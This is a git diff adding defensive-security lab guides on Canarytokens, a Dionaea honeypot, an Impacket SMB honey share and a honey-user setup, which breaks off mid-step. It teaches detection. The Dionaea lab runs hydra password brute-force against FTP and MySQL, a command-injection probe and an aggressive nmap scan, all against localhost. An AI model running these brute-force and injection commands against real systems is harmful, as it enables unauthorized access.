IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-15-14-00-53.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-15-14-00-53.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-46-00 - Copy.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-46-00 - Copy.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-46-00 - Copy.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-46-00 - Copy.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-46-00.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-46-00.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-46-00.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-46-00.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-47-26.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-47-26.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-47-26.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-47-26.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-48-18.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-48-18.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-48-18.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-48-18.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-52-22.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-52-22.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-52-22.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-52-22.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-53-18.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-53-18.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-53-18.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-53-18.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-55-12.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-55-12.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-16-09-55-12.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-16-09-55-12.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-23-13-36-10.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-23-13-36-10.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-23-13-36-10.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-23-13-36-10.png diff --git a/IntroClassFiles/Tools/IntroClass/md/images/OpeningPowershell.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/OpeningPowershell.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/md/images/OpeningPowershell.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/OpeningPowershell.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/bluespawndetections.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/bluespawndetections.png new file mode 100644 index 00000000..b3f0a4ee Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/bluespawndetections.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/bluspawnlaunched.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/bluspawnlaunched.png new file mode 100644 index 00000000..47e8fa41 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/bluspawnlaunched.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/cdandstartbluespawn.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/cdandstartbluespawn.png new file mode 100644 index 00000000..87be1d62 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/cdandstartbluespawn.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/crossreference.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/crossreference.png new file mode 100644 index 00000000..e1bfa310 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/crossreference.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/desktop.ini b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/desktop.ini similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/desktop.ini rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/desktop.ini diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/disableDefender.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/disableDefender.png new file mode 100644 index 00000000..cccd1e66 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/disableDefender.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/installationconfirmation.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/installationconfirmation.png new file mode 100644 index 00000000..6d184e40 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/installationconfirmation.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/invokeatomicv1.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/invokeatomicv1.png new file mode 100644 index 00000000..fb45da9d Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/invokeatomicv1.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/openingcommandprompt.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/openingcommandprompt.png new file mode 100644 index 00000000..4a0f6711 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/openingcommandprompt.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/Canarytokens.md b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/Canarytokens.md new file mode 100644 index 00000000..88846179 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/Canarytokens.md @@ -0,0 +1,131 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) +  + +# Canarytokens  + +# Any VM + +First, we will need to navigate to the canarytokens server from a system with Microsoft Word on it:  + +https://www.canarytokens.org/generate# + +Search for ```Microsoft Word``` + +canarytokens_site + + +Now, let's create a token Word Document:  + +word_token +   + +Then select Create Token.  + +   + +When you get the next screen, select Download your MS Word File.   + +   + +Then, download it and open it.  + +MS_word_token + + +Notice that it is just an empty Word document. You can add whatever you want in it.  + +   + +Now, check your email.  + +   + +You should have gotten an alert:  + +ms_token_triggered + + +Now, let's play with the site cloner:  + + +Search for ```JS cloned website``` + +web_clone +   + +Next, fill in the appropriate fields:  + +web_clone_fields + + +Now, select Create my Canarytoken.  + +   + +Now we will need to copy the JavaScript and put it somewhere so it triggers: + +web_generated_token + + +Now, let's test out the JavaScript Canary token. Open a Linux terminal and execute the following command: + +```bash +cd ~/ADCD/canaryToken +``` + +In this directory, we have a HTML file called ```index.html```. In this file, we will write the generated JavaScript token. + +Open the HTML file with a text editor and at the very bottom of the file inside the `````` tags write the generated JavaScript token. + +Then, save it and close it. + +Now we have a page that has the role of a cloned site. In order to test the functionality of the canary token through this page, we must add a domain to the ```/etc/hosts```. + +>[!IMPORTANT] +> +>The domain we will add must be completely different from the domain we gave at the token creation!! +>(e.g. If we gave ```yourorg.com``` as a domain at the token creation, we must give a completely different domain at the new /etc/hosts record like ```clonedsite.com```) + +For this purpose, execute the following: + +```bash +echo "127.0.0.1 clonedsite.com" | sudo tee -a /etc/hosts +``` + +echo_domain + + +Now everything is ready. Time for action! + +First things first, we must run a server in order to be able to access our page. + +```bash +sudo python3 -m http.server 80 +``` + +Then open a browser and access the domain you just added in the ```/etc/hosts```. In our case: +``` +http://clonedsite.com +``` + +test_page + + +In a few moments you should get an email alert:  + +web_token_triggered + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/GoPhish.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/FakeNet-NG.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-09-59-43.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-09-59-43.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-09-59-43.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-09-59-43.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-01-33.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-01-33.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-01-33.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-01-33.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-03-10.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-03-10.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-03-10.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-03-10.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-04-16.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-04-16.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-04-16.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-04-16.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-07-48.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-07-48.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-07-48.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-07-48.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-08-21.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-08-21.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-08-21.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-08-21.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-09-19.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-09-19.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-09-19.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-09-19.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-11-06.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-11-06.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-11-06.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-11-06.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-18-39.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-18-39.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-18-39.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-18-39.png diff --git a/IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-19-36.png b/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-19-36.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/canarytokens/attachment/Clipboard_2021-03-12-10-19-36.png rename to IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/attachment/Clipboard_2021-03-12-10-19-36.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/dionaea.md b/IntroClassFiles/Tools/IntroClass/ADHD/dionaea.md new file mode 100644 index 00000000..b3e726cf --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/dionaea.md @@ -0,0 +1,127 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Dionaea + +# Ubuntu VM + +### In this lab we will +- Observe how it captures malicious connection attempts +- View logs and captured malware samples +- Understand its modular architecture + +# Let's start + +- Open up a terminal if you are not using **SSH** + +- Go the Dionaea's directory + +```bash +cd ~/SOC_Analyst_Labs/dionaea/ +``` + + - Start it up: +```bash +sudo dionaea +``` + +2026-03-18_11-37 + + +
+ +Open another terminal! + +Let's see it's true power, see what ports it is listening on: +```bash +sudo netstat -tulnp | grep dionaea +``` + +2026-03-18_11-39 + + +We can see it's listening on lots of ports (FTP, HTTP, SMB, MONGO, MSSQL, SIP, and more) + +Let's simulate and FTP bruteforce attack + +- On another terminal tail the logs: +```bash +sudo tail -f /usr/local/var/log/dionaea/dionaea.log +``` + +>[!NOTE] +>We have rockyou.txt on **~/Desktop** + +- Then on a **third** terminal + + + +```bash +hydra -l admin -P ~/Desktop/rockyou.txt localhost ftp -V +``` +We can see all perspectives, the one of the attacker, it is saying that it found passwords, despite it being false to simulate a vulnerable service + +2026-03-18_11-50 + + +

+ +And the one of the Analyst, where we see the logs and the credentials used + +2026-03-18_11-51 + + +

+ +Now let's try with mysql instead of ftp: + +```bash +hydra -l root -P ~/Desktop/rockyou.txt localhost mysql +``` +- Same fake success + +2026-03-18_11-52 + + +

+ + +What about **Command Injection**? +```bash +curl "http://localhost/index.php?cmd=ls" +``` + +For each of those commands try to understand the logs + +Let's try an agressive port scan using **nmap** +```bash +nmap -A localhost +``` + +## Final thoughts +Dionaea’s true power comes from its purpose-built design as an intelligent malware-catching honeypot — not just a passive listener, but a smart, low-interaction trap + +Most important features +- Smart Protocol Emulation +- Binary Capture Engine +- Integrated SQLite Logging +- Wide Protocol Coverage +- Python + C Plugin Architecture +- Visual and Analytical Integration + + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/CuckooSandbox.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Haraka.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/HoneyShare.md b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/HoneyShare.md new file mode 100644 index 00000000..85d13fc1 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/HoneyShare.md @@ -0,0 +1,110 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) +  + +# Honey Share  + +# Windows VM + +In this lab we will be creating and triggering a honey share.  The goal of this lab is to show how to set up a simple Impacket SMB server that can record attempted connections to it.  + +This can be used for detecting lateral movement in a Windows environment.   + +One of the cool things about this is it will track the compromised user, the system and the password hash of the compromised user account.  + +Let's get started.  + +First, we will need to open a **Linux Terminal**:  + + +- Open **Ubuntu Shell** + +Screenshot From 2026-02-23 10-28-37 + + + +Next, we will navigate to the **Impacket** directory:  + +```bash +cd ~/ADCD/impacket +``` + +```bash +source venv/bin/activate +``` + +- Then navigate to the **examples** directory: + +```bash +cd ./examples +``` + +cd_venv + + +- Make sure you are in the right place + +```bash +ls +``` + +It should look like this: + +ls_impacket + + +Now, let's start the SMB server:  + +```bash +sudo ~/ADCD/impacket/venv/bin/python smbserver.py -debug -smb2support -comment 'secret' SECRET /secret +``` + +It should look like this:  + +impacket_server + + +Next, let's open a Windows Command Prompt:  + +![image](https://github.com/user-attachments/assets/0ccc949d-32c3-4d7b-bb18-1bb39ee36dfc) + +Then, attempt to mount the share from your Windows system:  + +- Make sure to use the **Linux IP** from **tailscale** + +```bash +net use * \\10.10.115.101\secret +``` + +>[!IMPORTANT] +> +>Your IP address may be different!!! +   + +We did the most basic level of attempted authentication to the share, and it generated an error.   + +admin_error + + +However, the trap was triggered!  + +Go back to your **Linux terminal** and see the log data.  + +It should look like this:  + +logs + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/honeyuser.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/HoneyBadger.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-39-30.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-39-30.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-39-30.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-39-30.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-40-02.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-40-02.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-40-02.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-40-02.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-41-08.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-41-08.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-41-08.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-41-08.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-43-19.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-43-19.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-43-19.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-43-19.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-46-03.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-46-03.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-46-03.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-46-03.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-46-27.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-46-27.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-46-27.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-46-27.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-46-42.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-46-42.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-46-42.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-46-42.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-49-11.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-49-11.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyshare/attachment/Clipboard_2021-03-12-09-49-11.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/attachment/Clipboard_2021-03-12-09-49-11.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-06-15.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-06-15.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-06-15.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-06-15.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-13-35.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-13-35.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-13-35.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-13-35.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-15-23.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-15-23.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-15-23.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-15-23.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-16-35.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-16-35.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-16-35.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-16-35.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-18-15.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-18-15.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-18-15.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-18-15.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-19-02.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-19-02.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-19-02.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-19-02.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-21-24.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-21-24.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-21-24.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-21-24.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-21-57.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-21-57.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-21-57.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-21-57.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-24-20.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-24-20.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-24-20.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-24-20.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-29-00.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-29-00.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-29-00.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-29-00.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-29-49.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-29-49.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-29-49.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-29-49.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-30-08.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-30-08.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-30-08.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-30-08.png diff --git a/IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-32-18.png b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-32-18.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/honeyuser/attachment/Clipboard_2021-03-12-11-32-18.png rename to IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/attachment/Clipboard_2021-03-12-11-32-18.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/honeyuser.md b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/honeyuser.md new file mode 100644 index 00000000..b52ad312 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/honeyuser/honeyuser.md @@ -0,0 +1,153 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Honey User  + +# Windows VM + +In this lab we will be setting up a poor persons SIEM with an "alert" generated whenever the **Honey Account Frank** is accessed.  + +Why Frank?  + +**Because.** + +Let's get started! + +- First, we will need to create the users and the Frank account.  + +- Let's open a command prompt: + +image + + +- Now, we will need to navigate to the C:\Tool directory and add the example users and Frank.  + +```bash +cd \IntroLabs +``` + +```bash +200-user-gen.bat   +``` + +- It should look like this:  + +2026-03-26_09-21 + +- Now, we need to create the Custom View in **event viewer** to capture anytime someone logs in as Frank.  + +- To do this 